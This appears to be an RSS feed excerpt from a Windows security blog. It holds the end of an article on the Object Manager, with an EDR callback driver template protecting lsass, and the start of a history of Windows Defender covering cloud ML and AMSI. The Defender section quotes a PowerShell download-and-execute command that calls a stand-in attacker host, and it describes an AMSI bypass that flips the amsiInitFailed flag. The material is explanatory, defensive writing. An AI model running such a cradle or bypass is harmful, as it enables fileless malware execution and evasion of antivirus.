&lt;p&gt;&lt;code&gt;NtObjectManager&lt;/code&gt; is Forshaw&apos;s PowerShell module that exposes the Object Manager namespace through cmdlets (PowerShell Gallery [@powershellgallery-ntobjectmanager]; GitHub [@p0-sandbox-attacksurface-analysis-tools]). Install with &lt;code&gt;Install-Module NtObjectManager&lt;/code&gt;. Useful commands: &lt;code&gt;Get-ChildItem NtObject:\&lt;/code&gt; walks the root; &lt;code&gt;Get-NtType&lt;/code&gt; lists the registered &lt;code&gt;OBJECT_TYPE&lt;/code&gt; singletons; &lt;code&gt;Get-NtObject \BaseNamedObjects&lt;/code&gt; enumerates the global BNO; &lt;code&gt;Get-NtAlpcPort &apos;\RPC Control&apos;&lt;/code&gt; lists every LRPC endpoint on the machine. The module wraps the same NTDLL syscalls WinObj uses, but in a scripting surface that composes into automation.&lt;/p&gt;
&lt;h3&gt;10.3 WinDbg kernel session&lt;/h3&gt;
&lt;p&gt;In a kernel-mode WinDbg session attached to a target machine (or to a live local kernel via Microsoft&apos;s local-kernel debug mode), &lt;code&gt;!object \&lt;/code&gt; dumps the root directory and its children. &lt;code&gt;dt nt!_OBJECT_HEADER &amp;lt;addr&amp;gt;-30&lt;/code&gt; reads the header preceding any object&apos;s body (the offset 0x30 is the size of &lt;code&gt;OBJECT_HEADER&lt;/code&gt; on x64; subtract that from the body pointer to land on the header -- the field layout is documented in &lt;em&gt;Windows Internals 7th Edition* Chapter 8, Microsoft Press Store [@microsoftpressstore-wininternals7-part1]). `dx -r1 ((nt!_OBJECT_TYPE&lt;/em&gt;)nt!PsProcessType[0]).TypeInfo` walks the Process type&apos;s method table and lists all eight procedure pointers and the WaitObjectFlagOffset, including the parse procedure.&lt;/p&gt;
&lt;h3&gt;10.4 The EDR primitive: an ObRegisterCallbacks driver template&lt;/h3&gt;
&lt;p&gt;The minimal sketch of an in-kernel EDR sensor is four steps. Register an &lt;code&gt;OB_CALLBACK_REGISTRATION&lt;/code&gt; for &lt;code&gt;PsProcessType&lt;/code&gt; with &lt;code&gt;OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE&lt;/code&gt; [@ms-obregistercallbacks]. In the pre-operation callback, examine &lt;code&gt;OperationInformation-&amp;gt;Object&lt;/code&gt;, derive the target process&apos;s PID, and compare it against &lt;code&gt;lsass.exe&lt;/code&gt;. If it matches, strip credential-relevant access bits from &lt;code&gt;OperationInformation-&amp;gt;Parameters-&amp;gt;CreateHandleInformation.DesiredAccess&lt;/code&gt; (or duplicate-handle equivalent). The kernel grants the handle with the reduced rights, the attacker&apos;s &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; is gone before the call returns, and the post-operation callback logs the attempt. The parallel API &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetcreateprocessnotifyroutineex] covers process creation, which is the other half of the EDR sensor surface.&lt;/p&gt;

sequenceDiagram
    participant A as Attacker process
    participant NT as nt!NtOpenProcess
    participant OM as Object Manager
    participant EDR as EDR Pre-Op Callback
    participant LSASS as lsass.exe (target)
    A-&amp;gt;&amp;gt;NT: NtOpenProcess(lsass PID, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)
    NT-&amp;gt;&amp;gt;OM: lookup PsProcessType, target by PID
    OM-&amp;gt;&amp;gt;EDR: fire pre-op callback (handle create)
    EDR-&amp;gt;&amp;gt;EDR: target == lsass.exe?
    EDR-&amp;gt;&amp;gt;EDR: strip PROCESS_VM_READ from DesiredAccess
    EDR--&amp;gt;&amp;gt;OM: granted = PROCESS_QUERY_LIMITED_INFORMATION
    OM--&amp;gt;&amp;gt;NT: HANDLE with reduced access
    NT--&amp;gt;&amp;gt;A: open succeeded (but useless rights)
&lt;p&gt;{`
const PROCESS_VM_READ                   = 0x0010;
const PROCESS_VM_WRITE                  = 0x0020;
const PROCESS_VM_OPERATION              = 0x0008;
const PROCESS_QUERY_INFORMATION         = 0x0400;
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
const PROCESS_CREATE_THREAD             = 0x0002;
const PROCESS_DUP_HANDLE                = 0x0040;&lt;/p&gt;
&lt;p&gt;function stripForLsass(desired) {
  const STRIPPED =
      PROCESS_VM_READ |
      PROCESS_VM_WRITE |
      PROCESS_VM_OPERATION |
      PROCESS_CREATE_THREAD |
      PROCESS_DUP_HANDLE |
      PROCESS_QUERY_INFORMATION;
  return desired &amp;amp; ~STRIPPED;
}&lt;/p&gt;
&lt;p&gt;const desired = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE;
console.log(&apos;attacker asked for:&apos;, &apos;0x&apos; + desired.toString(16));
const granted = stripForLsass(desired) | PROCESS_QUERY_LIMITED_INFORMATION;
console.log(&apos;EDR pre-op granted:&apos;, &apos;0x&apos; + granted.toString(16));
`}&lt;/p&gt;

```c
OB_OPERATION_REGISTRATION op = {
    .ObjectType = PsProcessType,
    .Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
    .PreOperation = MyPreOp,
    .PostOperation = MyPostOp,
};
OB_CALLBACK_REGISTRATION reg = {
    .Version = OB_FLT_REGISTRATION_VERSION,
    .OperationRegistrationCount = 1,
    .Altitude = RTL_CONSTANT_STRING(L&quot;123456&quot;),
    .OperationRegistration = &amp;amp;op,
};
ObRegisterCallbacks(®, &amp;amp;g_handle);
```
The driver must be KMCS-signed (`IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY`) per the wdm.h documentation; an unsigned image returns `STATUS_ACCESS_DENIED` from `ObRegisterCallbacks`. Two drivers cannot pick the same Altitude; collisions return `STATUS_FLT_INSTANCE_ALTITUDE_COLLISION`.
&lt;p&gt;You can now read the namespace, register an EDR-style callback, and dump the type registry. What are the questions readers ask after they finish reading?&lt;/p&gt;
&lt;h2&gt;11. Frequently asked questions&lt;/h2&gt;


No. The registry is a separate Windows Executive subsystem implemented in `nt!Cm*`, with its own hive on-disk format and its own in-memory hive structures. It hooks into the Object Manager namespace through one and only one mechanism: the `Key` `OBJECT_TYPE` registers a `ParseProcedure` (`CmpParseKey`) that takes over path walking when the namespace walker reaches `\REGISTRY`. The registry is therefore a *consumer* of the Object Manager, but not part of the Object Manager.

Because `\BaseNamedObjects` is the *global* / `Global\`-prefixed-only view, distinct from the per-session BNO at `\Sessions\\BaseNamedObjects`. The Win32 `Local\` prefix routes through `kernel32!BaseGetNamedObjectDirectory` into the per-session BNO; `Global\` routes into the global one [@ms-termserv-kernel-object-namespaces]. Cross-session named-object coordination still needs the global view; per-session isolation lives in the per-session subtree.

Because the lowbox token attached to the UWP app&apos;s process tells `ObpLookupObjectName` to rewrite the path to `\Sessions\\AppContainerNamedObjects\\Global\Foo` before path walking. Two different UWP apps have two different package SIDs and therefore land on two different directories. The Win32 names look the same; the kernel resolves them to different objects.

`\??\C:` is the per-session DosDevices alias; if `C:` is not defined in the current session&apos;s `\??`, the walker falls through to `\GLOBAL??\C:`. `\GLOBAL??\C:` is the machine-wide DosDevices symbolic link to `\Device\HarddiskVolume*` -- the real on-disk volume object. The split matters because the per-session `\??` is where per-session drive-letter remappings (`net use X: \\server\share`, `subst Z: C:\foo`, `DefineDosDevice`) live, and the activation-context resolver class covered in Section 4.5 is the exploit family that lives at this boundary.

Several top-level directories have `Directory`-`TRAVERSE` ACLs that restrict to SYSTEM and the local Administrators group. Without traversal, the directory enumeration silently fails. `\ObjectTypes`, `\Security`, and `\Sessions\0\` are the directories users most often notice as &quot;missing&quot; when running unelevated.

By DACL plus loader-side validation. The directory grants `Directory`-`READ` to everyone but `Directory`-`WRITE` only to SYSTEM and TrustedInstaller. The `Section` objects inside are Authenticode-signed by Microsoft and validated at boot by `smss.exe`. The historical `DefineDosDevice` + `\??` symlink-plant bypass class survived until Windows 10 21H2 build 19044.1826 (July 2022), when an NTDLL patch closed it [@itm4n-the-end-of-ppldump].

`ObRegisterCallbacks` [@ms-obregistercallbacks] and `PsSetCreateProcessNotifyRoutineEx` [@ms-pssetcreateprocessnotifyroutineex] are both fully documented. The HVCI compatibility requirements, the KMCS attestation flow, and the exact policy interactions with Defender for Endpoint&apos;s tamper-protection layer are partly implementation-defined; EDR vendor engineering teams maintain private regression suites against successive Windows feature updates.

When two or more processes that don&apos;t share a session or package must coordinate over a securable directory keyed by a SID-list they agree on at design time. The boundary descriptor is the *agreement primitive*: the kernel requires every SID in the boundary to be in the caller&apos;s token. The namespace&apos;s `OBJECT_DIRECTORY` lives in `\BNOLINKS`, keyed by the alias-prefix string plus a hash of the boundary descriptor&apos;s SID-list (CreatePrivateNamespaceW [@ms-createprivatenamespacew]; Object Namespaces overview [@ms-object-namespaces]; native NtCreatePrivateNamespace [@ntdoc-ntcreateprivatenamespace] and OBJECT_BOUNDARY_DESCRIPTOR [@ntdoc-object-boundary-descriptor] signatures). From inside an AppContainer process the lookup is rewritten into the per-package subtree, so private namespaces are not a substitute for the `windows.applicationModel.*` brokered APIs when cross-package coordination is the goal.


A user-mode structure produced by `CreateBoundaryDescriptor` and populated with `AddSIDToBoundaryDescriptor` (plus the optional `CREATE_BOUNDARY_DESCRIPTOR_ADD_APPCONTAINER_SID` flag). Conceptually the descriptor is a SID-list that the caller and every other participant must share via their tokens. Kernel-side the structure is `OBJECT_BOUNDARY_DESCRIPTOR` (Version, Items, TotalSize, Flags). `NtCreatePrivateNamespace` materialises a directory in `\BNOLINKS` keyed by the `lpAliasPrefix` plus a hash of the boundary descriptor&apos;s SIDs.
&lt;h2&gt;12. Coming back to the WinObj screen&lt;/h2&gt;
&lt;p&gt;Open WinObj one more time. Navigate back to &lt;code&gt;\Sessions\1\AppContainerNamedObjects&lt;/code&gt; and pick the Edge renderer&apos;s &lt;code&gt;S-1-15-2-...&lt;/code&gt; directory. You can now name everything you are looking at. The directory is an &lt;code&gt;_OBJECT_DIRECTORY&lt;/code&gt; instance with 37 hash buckets. You reach it through a token-keyed rewrite that the kernel applies inside &lt;code&gt;ObpLookupObjectName&lt;/code&gt; before path walking begins. Its security descriptor grants &lt;code&gt;GenericAll&lt;/code&gt; only to the package SID. Every EDR loaded on this machine has registered an &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; filter on &lt;code&gt;PsProcessType&lt;/code&gt;, watching for handle creations against &lt;code&gt;lsass.exe&lt;/code&gt;. If you are running on a Server SKU with Windows Server Containers, the directory might also be silo-scoped, with &lt;code&gt;Process-&amp;gt;Silo-&amp;gt;RootDirectory&lt;/code&gt; indirecting your view of the rest of &lt;code&gt;\&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The four pieces of the 1993 Cutler design have shipped without architectural change for thirty-three years. The six generations of partition primitives stacked on top are all simultaneously load-bearing on Windows 11 25H2. The namespace itself is a coordination mechanism, in Anderson 1972&apos;s sense of the reference-validation mechanism, with Saltzer-Schroeder 1975&apos;s complete-mediation principle as the design constraint it must satisfy. Containment lives in the partition layers above it: the session, the package, the integrity level, the silo, and the VTL split. Every other article in this corpus -- the Credential Guard piece, the AppContainer piece, the VBS Trustlets piece, the Hyper-V piece, the App Identity piece, the TPM piece -- quietly assumes this tree underneath them.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Every Windows security boundary is a path rewrite, a per-directory ACL, a token-keyed name substitution, or a kernel callback against an &lt;code&gt;OBJECT_TYPE&lt;/code&gt;. The Object Manager is the data structure underneath them all.&lt;/p&gt;
&lt;/blockquote&gt;

**Key terms.** Object Manager (`Ob`), `OBJECT_HEADER`, `OBJECT_TYPE`, `ParseProcedure`, `OBJECT_DIRECTORY`, Lowbox token, AppContainer, Server Silo, Trustlet / IUM, Boundary descriptor, Session 0 isolation, Mandatory Integrity Control, `ObRegisterCallbacks`, KMCS, HVCI, `\BaseNamedObjects`, `\Sessions\\AppContainerNamedObjects`, `\RPC Control`, `\KnownDlls`, `\BNOLINKS`, `\GLOBAL??`, `\??`.&lt;p&gt;&lt;strong&gt;Review questions.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Why does AppContainer isolation work even when the calling UWP app explicitly asks for &lt;code&gt;Global\X&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;What is the relationship between &lt;code&gt;IopParseDevice&lt;/code&gt;, &lt;code&gt;\Device\HarddiskVolume1&lt;/code&gt;, and &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Which of Anderson 1972&apos;s four NEAT properties does the Object Manager achieve cleanly, and which does it provably fail?&lt;/li&gt;
&lt;li&gt;Why is &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; an enforcement gate only against handle creation and duplication, not against handle use?&lt;/li&gt;
&lt;li&gt;Why does the canonical MS15-090 OM-symlink CVE point at CVE-2015-2428 [@nvd-cve-2015-2428] rather than CVE-2015-2528 or CVE-2015-1463?&lt;/li&gt;
&lt;li&gt;What is the structural difference between &lt;code&gt;\??\C:&lt;/code&gt; and &lt;code&gt;\GLOBAL??\C:&lt;/code&gt;, and which one does the HackSys / CVE-2023-35359 worked example abuse?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Recommended reading.&lt;/strong&gt; Russinovich, Ionescu, and Solomon, &lt;em&gt;Windows Internals, Part 1&lt;/em&gt; (7th edition, Microsoft Press, 2017), Chapter 8 [@microsoftpressstore-wininternals7-part1]. James Forshaw, &lt;em&gt;Windows Security Internals&lt;/em&gt; (No Starch Press, 2024), Chapter 8 [@nostarch-windows-security-internals]. Alex Ionescu, &lt;em&gt;Battle of SKM and IUM&lt;/em&gt;, Black Hat USA 2015 [@ionescu-bh2015-pdf]. The Google Project Zero blog&apos;s symlink mitigations [@p0-symlink-mitigations], arbitrary directory creation [@p0-issue1550], and who contains the containers [@p0-who-contains-containers] posts. James P. Anderson, &lt;em&gt;Computer Security Technology Planning Study&lt;/em&gt; [@csrc-nist-ande72].
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
</content:encoded><category>windows-internals</category><category>object-manager</category><category>kernel</category><category>sandbox</category><category>appcontainer</category><category>security-boundaries</category><category>edr</category><category>vbs</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>The Defender&apos;s Dilemma: How Microsoft Won the Antivirus War It Can Never Finish</title><link>https://paragmali.com/blog/the-defenders-dilemma-microsoft-antivirus/</link><guid isPermaLink="true">https://paragmali.com/blog/the-defenders-dilemma-microsoft-antivirus/</guid><description>From scoring 0.5/6 in AV-TEST to 100% MITRE detection with zero false positives -- the 20-year transformation of Windows Defender.</description><pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows Defender went from scoring 0.5/6 in AV-TEST protection testing (2012) to top-tier MITRE ATT&amp;amp;CK Enterprise results with zero false positives (2024).** The transformation happened through four generational leaps: cloud-delivered ML protection, AMSI for fileless malware visibility, EDR for post-breach detection, and unified XDR across endpoints, email, identity, and cloud. Despite this, Fred Cohen&apos;s 1986 dissertation establishes that perfect malware detection is mathematically impossible -- every endpoint protection system, including Defender, operates within this theoretical ceiling.
&lt;h2&gt;From Zero to Hero&lt;/h2&gt;
&lt;p&gt;In October 2012, AV-TEST -- the world&apos;s most respected independent antivirus testing lab -- published results that should have embarrassed Microsoft into silence. Windows Defender, the antivirus built into Windows 8, scored 0.5 out of 6.0 for malware protection [@av-test]. Dead last among 25 products tested. Worse than free tools from startups nobody had heard of.&lt;/p&gt;
&lt;p&gt;Twelve years later, the lineage that began with Windows Defender sat inside Microsoft Defender XDR, a cross-domain security suite that achieved top-tier 2024 MITRE ATT&amp;amp;CK Enterprise results with zero false positives [@mitre-2024]. For the sixth consecutive year, Gartner named Microsoft a Leader in Endpoint Protection Platforms [@gartner-epp-2025].&lt;/p&gt;
&lt;p&gt;This is the story of how that happened -- and why, despite the transformation, the war can never be won.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A product that scored dead last in independent testing in 2012 became an industry leader by 2024. The reversal was not incremental improvement -- it was a complete architectural revolution spanning cloud ML, behavioral analysis, and cross-domain correlation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To understand how Defender reached this point, we need to go back to the moment when Microsoft was forced to care about security -- not because they wanted to, but because worms were literally attacking their own update servers.&lt;/p&gt;
&lt;h2&gt;Historical Origins: The Trustworthy Computing Pivot&lt;/h2&gt;
&lt;p&gt;On August 11, 2003, the Blaster worm infected hundreds of thousands of Windows PCs [@ms03-026]. It carried a message embedded in its code: &quot;billy gates why do you make this possible ? Stop making money and fix your software!!&quot;The Blaster worm&apos;s embedded taunt -- &quot;billy gates why do you make this possible ? Stop making money and fix your software!!&quot; -- became one of the most quoted lines in malware history. It captured the frustration millions of users felt with Windows security in the early 2000s.&lt;/p&gt;
&lt;p&gt;The answer had actually begun 18 months earlier. On January 15, 2002, Bill Gates sent an internal memo to every Microsoft employee that would reshape the company&apos;s entire engineering culture.&lt;/p&gt;

Trustworthy Computing is the highest priority for all the work we are doing. -- Bill Gates, January 15, 2002 [@gates-memo]
&lt;p&gt;Gates&apos; memo came in response to a cascade of security catastrophes. In July 2001, the Code Red worm tore through hundreds of thousands of IIS web servers, defacing websites and launching DDoS attacks against whitehouse.gov [@cert-code-red]. Weeks later, the Nimda worm used five distinct propagation methods -- email, network shares, web servers, browser exploits, and back doors left by Code Red II -- causing massive infrastructure disruption [@cert-nimda]. Coming days after September 11, Nimda heightened the sense of digital infrastructure vulnerability across the United States.&lt;/p&gt;

Microsoft&apos;s company-wide security pivot initiated by Bill Gates&apos; January 2002 memo. It paused Windows development for security audits, created the Security Development Lifecycle (SDL), and led to the creation of the Security Technology Unit that would eventually build Windows Defender.
&lt;p&gt;Then came Blaster (2003), which exploited a known RPC buffer overflow to crash millions of Windows systems and attempted a DDoS attack against windowsupdate.com -- Microsoft&apos;s own patching infrastructure [@ms03-026]. Sasser followed in April 2004, a self-propagating worm written by an 18-year-old German student that required no user interaction and took down hospitals, airlines, and banks worldwide [@ms04-011].&lt;/p&gt;
&lt;p&gt;The first tangible fruit of Gates&apos; memo was Windows XP Service Pack 2 (August 2004), which enabled Windows Firewall by default, introduced the Security Center, and added Data Execution Prevention [@wp-xp-sp2]. But the worms were only half the problem. By 2004, studies estimated 67% of home PCs were infected with spyware -- browser hijackers, bundled toolbars, and adware installed without informed consent.&lt;/p&gt;
&lt;p&gt;Microsoft needed an antispyware tool, and they needed it fast. In December 2004, they acquired GIANT Company Software and its GIANT AntiSpyware product [@giant-acquisition]. Within a month, Microsoft released it as Microsoft AntiSpyware Beta [@wp-defender]. By 2006, it was rebranded as Windows Defender; it shipped with Vista in January 2007 [@wp-defender].&lt;/p&gt;
&lt;p&gt;Microsoft now had an antispyware tool -- but spyware was only half the problem. Viruses, trojans, and worms were still devastating Windows systems, and Defender 1.0 couldn&apos;t detect any of them.&lt;/p&gt;
&lt;h2&gt;Early Approaches: Signatures and Their Limits&lt;/h2&gt;
&lt;p&gt;Windows Defender 1.0 shipped with Vista in January 2007, and it could scan your PC for spyware. Just spyware. Not viruses. Not trojans. Not ransomware. It was like selling a house with a lock on the front door and no walls.&lt;/p&gt;

A malware identification technique that compares files against a database of known malware &quot;signatures&quot; -- cryptographic hashes and byte-pattern rules. Fast and precise for known threats, but fundamentally reactive: a new malware sample must be captured, analyzed, and signed before protection applies.
&lt;p&gt;The detection engine worked through simple pattern matching. On access or during scheduled scans, files were hashed and compared against a curated signature database delivered through Windows Update. Hash-based lookups ran in $O(n)$ time (where $n$ = files scanned), while pattern-matching rules against the full signature database ran in $O(n \times m)$ (where $m$ = pattern count). Space was proportional to the database -- tens of megabytes.&lt;/p&gt;
&lt;p&gt;The approach had a fatal structural weakness: it was purely reactive. A new spyware sample had to be captured, analyzed, signed, and distributed before any endpoint received protection. Average time-to-signature was hours to days. And polymorphic malware -- code that changes its binary representation on every infection -- rendered signatures nearly useless.Windows Live OneCare (2006--2009) was Microsoft&apos;s first attempt at a paid consumer security suite [@wp-defender]. It bundled antivirus, firewall, backup, and PC tune-up into a subscription product. It flopped: poor detection rates, low market share against Norton and McAfee, and Microsoft&apos;s eventual realization that free, universal security was the only path forward. OneCare was discontinued June 30, 2009.&lt;/p&gt;
&lt;p&gt;A polymorphic variant of the Vundo trojan (2007--2008) illustrated the problem perfectly [@wp-defender]. Vundo repacked itself on every infection, generating a unique binary hash each time. Defender&apos;s signature database couldn&apos;t keep pace with the variant generation rate. Users were infected despite having &quot;protection&quot; enabled.&lt;/p&gt;
&lt;p&gt;Microsoft knew signatures alone were a losing game. In September 2009, they released Microsoft Security Essentials (MSE) -- a free standalone antivirus for Windows XP, Vista, and 7 that added virus detection alongside the spyware scanning [@wp-defender]. MSE replaced the failed OneCare product and proved Microsoft could build a competent, if basic, AV engine.&lt;/p&gt;
&lt;p&gt;Then came the merger that seemed like a triumph. Windows 8 (October 2012) absorbed MSE&apos;s antivirus capabilities directly into Defender, creating the first Windows version with built-in, always-on antivirus protection. Every Windows PC would finally have real antivirus from the moment of installation.&lt;/p&gt;
&lt;p&gt;Problem solved? Not even close. The independent labs were about to deliver a devastating verdict.&lt;/p&gt;
&lt;h2&gt;The Humiliation: Worst-in-Class Scores&lt;/h2&gt;
&lt;p&gt;When Windows 8 shipped in October 2012 with Defender built in, it seemed like a structural win -- every Windows PC would finally have antivirus protection by default. Then the test results came in.&lt;/p&gt;
&lt;p&gt;AV-TEST&apos;s October 2012 evaluation scored Windows Defender 0.5 out of 6.0 for the aggregate Protection category -- the worst score among all 25 products tested [@av-test]. In that testing period, it missed a significant proportion of real-world malware samples that competitors caught routinely. Across 2012--2014, Defender protection scores hovered between 0.5 and 2.0 out of 6.0 -- near the bottom of every independent test.&lt;/p&gt;

gantt
    title Defender AV-TEST Protection Score Progression
    dateFormat YYYY
    axisFormat %Y
    section Protection Score
    0.5-2.0/6 (Worst tier)       :crit, 2012, 2015
    3.0-4.5/6 (Improving)        :active, 2015, 2017
    5.0-5.5/6 (Competitive)      :active, 2017, 2019
    6.0/6 (Top tier, consistent) :done, 2019, 2026
&lt;p&gt;The industry&apos;s verdict was damning. Security analysts described Defender as &quot;baseline protection&quot; -- polite language for &quot;better than nothing, barely.&quot; CryptoLocker ransomware arrived in September 2013, encrypting users&apos; files and demanding ransom payment [@wp-cryptolocker]. Signature-based Defender couldn&apos;t detect it until days after initial distribution, by which time hundreds of thousands of PCs were already compromised.CrowdStrike, founded in 2011 by George Kurtz, Dmitri Alperovitch, and Gregg Marston [@wp-crowdstrike], was building a fundamentally different approach during this period -- a cloud-native, agent-based EDR platform that would become Defender&apos;s most formidable competitor.&lt;/p&gt;
&lt;p&gt;Meanwhile, the competitive field was shifting. Norton, McAfee, and Kaspersky still dominated the traditional AV market. But new cloud-native challengers were emerging. CrowdStrike launched its Falcon platform commercially around 2013--2014, betting on cloud-delivered threat intelligence and behavioral detection [@wp-crowdstrike]. SentinelOne, also founded in 2013 [@wp-sentinelone], wagered on autonomous on-device AI.&lt;/p&gt;
&lt;p&gt;But here&apos;s the structural insight that Microsoft&apos;s leadership grasped: integration was right. Universal-default protection was right. The detection engine was wrong. The question became whether Microsoft could revolutionize the detection engine without undoing the universal-default advantage.&lt;/p&gt;
&lt;p&gt;The answer would come from the cloud.&lt;/p&gt;
&lt;h2&gt;The Breakthrough: Cloud, AMSI, and Machine Learning&lt;/h2&gt;
&lt;p&gt;Between 2015 and 2018, Microsoft executed the fastest architectural transformation in antivirus history. In four years, Defender went from a signature-based scanner to a cloud-powered, ML-driven, behavior-aware platform. The key insight: stop scanning files. Start understanding behavior.&lt;/p&gt;
&lt;h3&gt;Cloud-Delivered Protection and Block at First Sight&lt;/h3&gt;

A detection architecture where unknown files on an endpoint are analyzed in real-time by cloud-based machine learning models. The endpoint sends file metadata and samples to the cloud, which returns a verdict (malicious, clean, or unknown) typically within milliseconds.
&lt;p&gt;Windows 10 (July 2015) connected Defender to Microsoft&apos;s Azure cloud for real-time verdicts [@cloud-protection]. When an endpoint encounters an unknown file, Defender sends its metadata to the cloud service. Cloud ML models -- including gradient-boosted tree ensembles and deep neural networks -- analyze the sample and return a classification [@ml-pipeline].&lt;/p&gt;

A Defender feature that holds unknown files from execution until the cloud returns a verdict. If the cloud classifies the file as malicious, it is blocked and quarantined before the user is ever exposed. This reduces zero-day exposure from hours (waiting for signature updates) to milliseconds.
&lt;p&gt;The real breakthrough came with Block at First Sight (BAFS), introduced with the Windows 10 Anniversary Update in 2016 and expanded through later cloud-protection improvements [@wp-defender, @bafs-blog]. When Defender encounters a file it has never seen before, BAFS holds it -- preventing execution -- while the cloud runs its ML pipeline. The verdict comes back in milliseconds to seconds. If malicious, the file is quarantined. If clean, execution proceeds. The user never notices the delay.&lt;/p&gt;

Approximately 96% of all malware files detected and blocked by Windows Defender Antivirus (Windows Defender AV) are observed only once on a single computer. -- Microsoft Security Blog, 2017 [@bafs-blog]
&lt;p&gt;That statistic -- 96% of malware is unique to a single endpoint -- explains why signatures were doomed. You can&apos;t write a signature for something you&apos;ve never seen. But you can train a model on billions of samples and classify new variants in real time.&lt;/p&gt;

sequenceDiagram
    participant User as User
    participant Endpoint as Defender Endpoint
    participant Cloud as Microsoft Cloud
    participant ML as ML Models
    User-&amp;gt;&amp;gt;Endpoint: Opens unknown file
    Endpoint-&amp;gt;&amp;gt;Endpoint: Local signature check (miss)
    Endpoint-&amp;gt;&amp;gt;Endpoint: On-device ML (uncertain)
    Endpoint-&amp;gt;&amp;gt;Cloud: Send file metadata + sample
    Note over Endpoint: File held from execution
    Cloud-&amp;gt;&amp;gt;ML: Gradient-boosted trees + DNN
    ML-&amp;gt;&amp;gt;Cloud: Verdict: MALICIOUS
    Cloud-&amp;gt;&amp;gt;Endpoint: Block verdict
    Endpoint-&amp;gt;&amp;gt;User: File quarantined
    Note over Cloud: Verdict shared to all endpoints
&lt;p&gt;The feedback loop was the key multiplier. With over a billion Windows endpoints feeding telemetry into the cloud, every new threat detected on one machine instantly protected every other machine in the network. The entire Windows install base became a collective immune system.&lt;/p&gt;
&lt;h3&gt;AMSI: Seeing Through Obfuscation&lt;/h3&gt;

A Windows API introduced in Windows 10 (2015) that allows script engines -- PowerShell, VBA, JavaScript, VBScript -- to submit content to the registered antimalware provider for scanning after deobfuscation but before execution. AMSI closes the fileless malware blind spot by inspecting code at the semantic layer rather than the file layer.
&lt;p&gt;Cloud-delivered protection solved the &quot;never-before-seen file&quot; problem. But what about attacks that don&apos;t use files at all?&lt;/p&gt;
&lt;p&gt;By 2015, attackers had discovered that PowerShell could execute entire attack frameworks entirely in memory. The PowerShell Empire framework, widely adopted from 2015 onward, could download and execute a malicious payload with a single command -- &lt;code&gt;IEX (New-Object Net.WebClient).DownloadString(&apos;http://attacker.com/payload.ps1&apos;)&lt;/code&gt; -- without ever writing a file to disk. Defender&apos;s file-scanning engine never had an opportunity to inspect the payload.&lt;/p&gt;
&lt;p&gt;AMSI addressed this by creating an interface at the script execution layer [@amsi-docs]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A script engine (PowerShell 5.0+, VBA, JavaScript) processes a script block&lt;/li&gt;
&lt;li&gt;Before execution, the engine calls &lt;code&gt;AmsiScanBuffer()&lt;/code&gt;, passing the &lt;strong&gt;deobfuscated&lt;/strong&gt; content to AMSI&lt;/li&gt;
&lt;li&gt;AMSI routes the content to the registered antimalware provider (Defender)&lt;/li&gt;
&lt;li&gt;Defender scans the content against signatures, heuristics, and ML models&lt;/li&gt;
&lt;li&gt;If malicious, execution is blocked and an event is logged&lt;/li&gt;
&lt;/ol&gt;

sequenceDiagram
    participant Script as PowerShell Script
    participant Engine as PowerShell Engine
    participant AMSI as AMSI Interface
    participant Defender as Windows Defender
    Script-&amp;gt;&amp;gt;Engine: Encoded/obfuscated payload
    Engine-&amp;gt;&amp;gt;Engine: Deobfuscate script block
    Engine-&amp;gt;&amp;gt;AMSI: AmsiScanBuffer(deobfuscated content)
    AMSI-&amp;gt;&amp;gt;Defender: Route to registered provider
    Defender-&amp;gt;&amp;gt;Defender: Signature + ML scan
    alt Malicious
        Defender-&amp;gt;&amp;gt;AMSI: AMSI_RESULT_DETECTED
        AMSI-&amp;gt;&amp;gt;Engine: Block execution
        Engine-&amp;gt;&amp;gt;Script: Execution prevented
    else Clean
        Defender-&amp;gt;&amp;gt;AMSI: AMSI_RESULT_CLEAN
        AMSI-&amp;gt;&amp;gt;Engine: Allow execution
        Engine-&amp;gt;&amp;gt;Script: Script executes
    end
&lt;p&gt;The word &quot;deobfuscated&quot; is the key. Attackers routinely obfuscated their PowerShell scripts with multiple layers of encoding -- Base64, XOR, string concatenation, variable substitution. By the time AMSI sees the content, the script engine has already resolved all that obfuscation down to the actual commands. AMSI scans what the code &lt;em&gt;does&lt;/em&gt;, not what it &lt;em&gt;looks like&lt;/em&gt; [@powershell-blue-team].&lt;/p&gt;

AMSI had a fundamental architectural vulnerability: it runs in user-mode, inside the process it&apos;s monitoring. That means user-mode code can tamper with AMSI&apos;s in-process state. By 2016, a widely cited PowerShell reflection technique could set `amsiInitFailed` to `true`, causing all subsequent AMSI scans to return &quot;not detected&quot; [@graeber-amsi-bypass]. While Microsoft signatured this specific bypass, the underlying issue -- that AMSI is accessible to the code it inspects -- has spawned an ongoing arms race of bypass variants and countermeasures.

A widely cited AMSI bypass technique was elegant in its simplicity: one line of PowerShell reflection that flipped an internal flag. It demonstrated a deeper truth about user-mode security boundaries -- they are speed bumps, not walls.
&lt;h3&gt;The ML Pipeline&lt;/h3&gt;
&lt;p&gt;Behind both cloud protection and AMSI sits a multi-layered machine learning pipeline [@ml-pipeline]:&lt;/p&gt;
&lt;ol&gt;
